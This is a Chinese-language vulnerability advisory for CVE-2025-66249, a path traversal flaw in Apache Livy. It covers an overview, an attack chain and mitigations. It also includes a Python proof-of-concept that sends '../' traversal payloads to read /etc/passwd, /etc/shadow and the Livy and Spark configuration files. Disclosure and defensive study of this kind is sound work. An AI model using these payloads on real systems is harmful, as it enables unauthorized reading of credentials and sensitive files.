IPBUF安全漏洞报告
English
CVE-2025-66249 CVSS 6.3 中危

CVE-2025-66249 Apache Livy路径遍历漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2025-66249
漏洞类型
路径遍历
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Livy

相关标签

路径遍历Apache LivyCVE-2025-66249目录遍历文件读取中危漏洞ApacheSparkREST API配置绕过

漏洞概述

CVE-2025-66249是Apache Livy中的一个路径遍历(Path Traversal)漏洞,CVSS评分6.3,中危级别。该漏洞允许具有低权限的用户通过构造特殊的文件路径请求,绕过服务器目录限制,访问服务器上的任意文件。Apache Livy是一个提供REST接口与Spark集群交互的服务,广泛应用于大数据平台和企业级数据处理环境中。此漏洞的存在条件较为特殊,需要管理员将livy.file.local-dir-whitelist配置项设置为非默认值时才可被利用。攻击者可以利用此漏洞读取服务器敏感配置文件、凭据文件、密钥文件等重要资源,可能导致进一步的安全威胁。由于该漏洞对配置有特定要求,因此在默认配置下不会受到影响,但管理员仍需及时升级到修复版本以消除潜在风险。

技术细节

Apache Livy路径遍历漏洞源于对用户输入路径验证不充分。当livy.file.local-dir-whitelist配置项被设置为非默认值时,服务器对文件路径的访问控制检查可以被绕过。攻击者可以通过在文件请求路径中插入特殊字符序列(如../)来遍历目录结构,访问受保护目录之外的文件。例如,使用类似/local-dir-whitelist/../../../etc/passwd的路径请求,攻击者能够读取系统敏感文件。该漏洞的技术原理涉及:1) Livy服务器在处理文件下载请求时,未正确验证请求路径的规范化形式;2) 虽然存在目录白名单机制,但在特定配置下可以被绕过;3) 攻击者利用相对路径遍历符号访问受限资源。成功利用此漏洞需要攻击者具有有效的会话认证(低权限即可),并了解目标服务器的文件系统结构。攻击者可能获取配置文件、用户凭据、日志文件等敏感信息。

攻击链分析

STEP 1
步骤1
攻击者获取Apache Livy的有效用户会话(低权限账户即可)
STEP 2
步骤2
攻击者确认目标服务器的livy.file.local-dir-whitelist配置为非默认值
STEP 3
步骤3
攻击者构造包含路径遍历序列(如../)的恶意文件请求路径
STEP 4
步骤4
通过Livy的文件访问API发送恶意请求,绕过目录白名单限制
STEP 5
步骤5
服务器返回请求的文件内容,攻击者成功读取敏感文件(如/etc/passwd、配置文件等)
STEP 6
步骤6
利用获取的敏感信息进行进一步攻击,如横向移动或提权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66249 Path Traversal PoC for Apache Livy # Requirements: Valid session with low privileges import requests import urllib.parse TARGET_URL = "http://target-server:8998" SESSION_ID = "your-session-id" def exploit_path_traversal(): """ Exploits CVE-2025-66249 by bypassing local directory whitelist Requires livy.file.local-dir-whitelist to be set to non-default value """ headers = { "X-Requested-With": "XMLHttpRequest", "Cookie": f"livy.session.id={SESSION_ID}" } # Path traversal payloads to read sensitive files payloads = [ # Read /etc/passwd "local-dir-whitelist/../../../etc/passwd", # Read Livy configuration file "local-dir-whitelist/../../../opt/livy/conf/livy.conf", # Read Spark configuration "local-dir-whitelist/../../../opt/spark/conf/spark-defaults.conf", # Read shadow password file "local-dir-whitelist/../../../etc/shadow", # Read environment variables "local-dir-whitelist/../../../etc/environment" ] for payload in payloads: try: # URL encode the payload encoded_payload = urllib.parse.quote(payload, safe='') url = f"{TARGET_URL}/files/{encoded_payload}" response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Success! Read: {payload}") print(f"Content:\n{response.text[:500]}") elif response.status_code == 403: print(f"[-] Blocked: {payload}") else: print(f"[*] Status {response.status_code}: {payload}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": print("CVE-2025-66249 Apache Livy Path Traversal PoC") print("=" * 50) exploit_path_traversal()

影响范围

Apache Livy 0.3.0 至 0.9.0 之前的所有版本

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1) 检查livy.file.local-dir-whitelist配置,确保其设置为安全的默认值;2) 使用网络访问控制列表(ACL)限制对Livy管理端口(默认8998)的访问,仅允许受信任的IP地址;3) 启用Livy的认证和授权机制,确保所有访问都有有效的凭证;4) 监控日志文件,查找异常的路径遍历尝试模式;5) 考虑在Livy服务前部署Web应用防火墙(WAF)来过滤恶意的路径遍历请求。需要注意的是,这些措施不能完全替代升级,应尽快安排计划升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表